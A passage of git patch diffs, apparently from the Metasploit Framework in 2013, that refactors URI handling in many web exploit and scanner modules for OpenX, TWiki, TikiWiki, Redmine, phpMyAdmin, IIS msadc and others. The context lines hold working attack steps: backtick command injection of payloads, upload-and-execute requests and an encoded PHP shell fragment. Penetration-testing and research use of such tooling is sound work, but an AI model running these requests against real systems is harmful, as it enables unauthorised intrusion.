@@ -176,7 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => uri_base + 'admin/index.php', + 'uri' => normalize_uri(uri_base, 'admin/index.php'), 'vars_post' => { 'oa_cookiecheck' => cookie, @@ -201,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Remote def openx_find_campaign(uri_base, cookie) res = send_request_raw( { - 'uri' => uri_base + 'admin/advertiser-campaigns.php', + 'uri' => normalize_uri(uri_base, 'admin/advertiser-campaigns.php'), 'headers' => { 'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}", @@ -269,7 +265,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -287,7 +283,7 @@ class Metasploit3 < Msf::Exploit::Remote # Ugh, now we have to get the banner id! res = send_request_raw( { - 'uri' => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}", + 'uri' => normalize_uri(uri_base, "admin/campaign-banners.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}", 'method' => 'GET', 'headers' => { @@ -319,7 +315,7 @@ class Metasploit3 < Msf::Exploit::Remote # Ugh, now we have to get the banner name too! res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { @@ -338,7 +334,7 @@ class Metasploit3 < Msf::Exploit::Remote def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id) res = send_request_raw( { - 'uri' => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-delete.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 66fa7d4ca2..7ca3dc9b58 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending file save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/" + "admin/file_manager.php/login.php?action=save", + 'uri' => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save", 'method' => 'POST', 'data' => data, 'headers' => @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/" + File.basename(filename) + 'uri' => normalize_uri(datastore['URI'], File.basename(filename)) }, timeout) handler diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb index 9526b9f2fa..e6fcd81726 100644 --- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb @@ -54,12 +54,11 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php") }) if res and res.code == 200 @@ -83,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => post_data.to_s }) @@ -96,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php" + 'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php") }) if res and res.code != 200 diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index 60dc44e643..f19ece646e 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote 1.upto(32) do |x| res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/viewtopic.php?topic=' + x.to_s, + 'uri' => normalize_uri(datastore['URI'], '/viewtopic.php') + '?topic=' + x.to_s, }, 25) if (res and res.body.match(/class="postdetails"/)) @@ -92,14 +92,14 @@ class Metasploit3 < Msf::Exploit::Remote return else - sploit = normalize_uri(datastore['URI']) + "/viewtopic.php?t=#{topic}&highlight=" + sploit = normalize_uri(datastore['URI'], "/viewtopic.php") + "?t=#{topic}&highlight=" case target.name when /Automatic/ req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + req + 'uri' => normalize_uri(datastore['URI'], req) }, 25) print_status("Trying to determine which attack method to use...") diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index f215e4b11a..55f894ffc3 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # First, grab the session cookie and the CSRF token print_status("Grabbing session cookie and CSRF token") - uri = normalize_uri(datastore['URI']) + "/scripts/setup.php" + uri = normalize_uri(datastore['URI'], "/scripts/setup.php") response = send_request_raw({ 'uri' => uri}) if !response fail_with(Exploit::Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.") @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote # Now that we've got the cookie and token, send the evil print_status("Sending save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/scripts/setup.php", + 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), 'method' => 'POST', 'data' => data, 'cookie' => cookie, @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Remote response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/config/config.inc.php" + 'uri' => normalize_uri(datastore['URI'], "/config/config.inc.php") }, timeout) handler diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 06af2b28c7..4b5b2a4745 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base}/index.php", + 'uri' => normalize_uri("#{base}/index.php"), 'vars_get' => { 'c' => 'access', diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index 83de69d3d7..9de06547ac 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit command = Rex::Text.uri_encode(payload.encoded) - urlconfigdir = normalize_uri(datastore['URI']) + "/repository/annotate?rev=`#{command}`" + urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`" res = send_request_raw({ 'uri' => urlconfigdir, diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 6e1c95852a..07465ee236 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/index.php' + 'uri' => normalize_uri(datastore['URI'], '/index.php') }, 25) if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/) @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_password_hash(file) res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + file, + 'uri' => normalize_uri(datastore['URI'], file) }, 25) if (res and res.message == "OK" and res.body) @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote def create_new_password(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + '/install03_cgi.php', + 'uri' => normalize_uri(datastore['URI'], '/install03_cgi.php'), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_session(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/login_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/login_cgi.php"), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/upload_img_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/upload_img_cgi.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote def reset_original_password(hash, scriptlocation) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + scriptlocation, + 'uri' => normalize_uri(datastore['URI'], scriptlocation), 'method' => 'POST', 'data' => "hash=" + hash, }, 25) @@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + delete_path, + 'uri' => normalize_uri(datastore['URI'], delete_path), }, 25) if (res) diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index 40311c1ed3..9f8aadb621 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -75,7 +75,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" username = datastore['USERNAME'] @@ -89,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => "#{base}index.php" , + 'uri' => normalize_uri(base, "index.php") , 'method' => "POST", 'headers' => { diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index a051069c93..99f57424e1 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET', 'headers' => { @@ -155,8 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote # when exploiting this vulnerability :) # def build_uri(f_val) - uri = normalize_uri(datastore['URI']) - uri << "/tiki-graph_formula.php?" + uri = normalize_uri(datastore['URI'], "/tiki-graph_formula.php?") # Requirements: query = '' diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index c2f500447e..7fac9b73f1 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET' }, 25) @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote end def create_temp_file - url_jhot = normalize_uri(datastore['URI']) + "/jhot.php" + url_jhot = normalize_uri(datastore['URI'], "/jhot.php") scode = "\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" + @@ -153,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exe_command(cmd) - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote end def remove_temp_file - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index f6908cbf6d..bb5f625e56 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem") res = send_request_cgi( - 'uri' => "#{base}tiki-rss_error.php" + 'uri' => normalize_uri(base, "tiki-rss_error.php") ) if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/ @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => "#{base}tiki-print_multi_pages.php", + 'uri' => normalize_uri(base, "tiki-print_multi_pages.php"), 'method' => 'POST', 'vars_post' => { 'printpages' => printpages @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base + @upload_php}", + 'uri' => normalize_uri(base, @upload_php), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 42bccd1b2f..98b628b9f8 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote # def check test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers?rev=' - test_url = normalize_uri(datastore['URI']) + '/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers?rev=') + test_url = normalize_uri(datastore['URI'], test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote rev = rand_text_numeric(1+rand(5)) rev << ' `' + payload.encoded + '`#' - query_str = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers' + query_str = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers') query_str << '?rev=' query_str << Rex::Text.uri_encode(rev) diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 741f7eef42..b27a6f4e23 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Exploit::Remote def check content = rand_text_alphanumeric(16+rand(16)) test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/WebSearch?search=' - test_url = normalize_uri(datastore['URI']) + '/view/Main/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/WebSearch?search=') + test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -105,13 +105,13 @@ class Metasploit3 < Msf::Exploit::Remote search = rand_text_alphanumeric(1+rand(8)) search << "';" + payload.encoded + ";#\'" - query_str = normalize_uri(datastore['URI']) + '/view/Main/WebSearch' + query_str = normalize_uri(datastore['URI'], '/view/Main/WebSearch') query_str << '?search=' query_str << Rex::Text.uri_encode(search) res = send_request_cgi({ 'method' => 'GET', - 'uri' => query_str, + 'uri' => query_str, }, 25) if (res and res.code == 200) diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index c73b3b2499..e38a0979c8 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.host)}) + res = send_request_raw({'uri'=>normalize_uri(target_uri.path)}) if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index e095918645..3fd2b947b8 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote # Sending the request res = send_request_cgi({ - 'uri' => normalize_uri(datastore['DIR']) + '/Login.jsp?' + crash, + 'uri' => normalize_uri(datastore['DIR'], '/Login.jsp?') + crash, 'method' => 'GET', 'headers' => { 'Accept' => '*/*', diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index 76322d9aab..9d43164587 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -126,11 +126,11 @@ class Metasploit3 < Msf::Exploit::Remote pass = datastore['SysaxPASS'] creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}" - uri = normalize_uri(target_uri.to_s) + uri = target_uri.to_s # Login to get SID value r = send_request_cgi({ 'method' => "POST", - 'uri' => "#{uri}/scgi?sid=0&pid=dologin", + 'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"), 'data' => creds }) @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir uri normalize_uri(target_uri.to_s) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"), 'method' => 'POST', }) @@ -184,7 +184,7 @@ class Metasploit3 < Msf::Exploit::Remote post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669" uri = normalize_uri(target_uri.to_s) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"), 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index 137a1686c8..b97524a3df 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote data = 'Content-Type: ' + sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/AdvancedDataFactory.Query', + 'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'), 'headers' => { 'Content-Length' => data.length, diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 60d1f7b814..d3383308df 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote data << sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/' + method, + 'uri' => normalize_uri(datastore['PATH'], method), 'agent' => 'ACTIVEDATA', 'headers' => { @@ -200,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/VbBusObj.VbBusObjCls.GetMachineName', + 'uri' => normalize_uri(datastore['PATH'], '/VbBusObj.VbBusObjCls.GetMachineName'), 'agent' => 'ACTIVEDATA', 'headers' => { From 66ca906bfb7b1d7bffecc8e6e45905f98fe88b8f Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 01:56:05 -0600 Subject: [PATCH 046/448] This is a string, not a variable --- modules/exploits/multi/http/mobilecartly_upload_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index 61f076de2f..34ea77ce51 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote # Run payload # print_status("#{@peer} - Requesting '#{php_fname}'") - send_request_cgi({ 'uri' => normalize_uri(base, pages, php_fname) }) + send_request_cgi({ 'uri' => normalize_uri(base, 'pages', php_fname) }) handler end From 4de5e475c30358656821252021686240e919fac2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 02:15:50 -0600 Subject: [PATCH 047/448] Fix check --- modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index e38a0979c8..c73b3b2499 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.path)}) + res = send_request_raw({'uri'=>normalize_uri(target_uri.host)}) if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable From 5332e80ae940f9f59371ebe42829c71a2fe48640 Mon Sep 17 00:00:00 2001 From: egypt Date: Thu, 31 Jan 2013 14:18:42 -0600 Subject: [PATCH 048/448] Fix errant use of .to_s instead of .path --- .../scanner/http/apache_activemq_source_disclosure.rb | 2 +- .../scanner/http/atlassian_crowd_fileaccess.rb | 4 ++-- modules/auxiliary/scanner/http/dolibarr_login.rb | 2 +- modules/auxiliary/scanner/http/glassfish_login.rb | 2 +- modules/auxiliary/scanner/http/vcms_login.rb | 2 +- modules/exploits/multi/http/php_cgi_arg_injection.rb | 4 +--- .../windows/http/php_apache_request_headers_bof.rb | 2 +- .../windows/http/sonicwall_scrutinizer_sqli.rb | 2 +- modules/exploits/windows/http/sysax_create_folder.rb | 10 +++++----- .../exploits/windows/mysql/scrutinizer_upload_exec.rb | 2 +- 10 files changed, 15 insertions(+), 17 deletions(-) diff --git a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb index 6f1ada9d10..18d2d942ab 100644 --- a/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{rhost}:#{rport} - Sending request...") - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', diff --git a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb index e94787a50a..d3e7d5f4ec 100644 --- a/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb +++ b/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb @@ -57,7 +57,7 @@ class Metasploit4 < Msf::Auxiliary end def run_host(ip) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET'}) @@ -71,7 +71,7 @@ class Metasploit4 < Msf::Auxiliary end def accessfile(rhost) - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) print_status("#{rhost}:#{rport} Connecting to Crowd SOAP Interface") soapenv = 'http://schemas.xmlsoap.org/soap/envelope/' diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index 97a97ae75d..dfbaca5d16 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Auxiliary end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index a48c352431..a58f98fb73 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Auxiliary #Get GlassFish version edition, version, banner = get_version(res) - path = normalize_uri(target_uri) + path = normalize_uri(target_uri.path) target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" print_status("#{target_url} - GlassFish - Attempting authentication") diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 7afdc7e61d..a4fe31dba2 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -108,7 +108,7 @@ class Metasploit3 < Msf::Auxiliary end def run - @uri = normalize_uri(target_uri) + @uri = normalize_uri(target_uri.path) @uri.path << "/" if @uri.path[-1, 1] != "/" @peer = "#{rhost}:#{rport}" diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 2f45fc7602..a245a3cd45 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -96,11 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote ] qs = args.join() - uri = normalize_uri(target_uri) + uri = normalize_uri(target_uri.path) uri = "#{uri}?#{qs}" - #print_status("URI: #{target_uri}?#{qs}") # Uncomment to preview URI - # Has to be all on one line, so gsub out the comments and the newlines payload_oneline = " normalize_uri(target_uri.to_s), + 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index c73b3b2499..e38a0979c8 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.host)}) + res = send_request_raw({'uri'=>normalize_uri(target_uri.path)}) if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index 9d43164587..1e678f874d 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -126,12 +126,12 @@ class Metasploit3 < Msf::Exploit::Remote pass = datastore['SysaxPASS'] creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}" - uri = target_uri.to_s + uri = target_uri.path # Login to get SID value r = send_request_cgi({ 'method' => "POST", - 'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"), - 'data' => creds + 'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"), + 'data' => creds }) # Parse response for SID token @@ -146,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote # Find the path because it's used to help calculate the offset random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir - uri 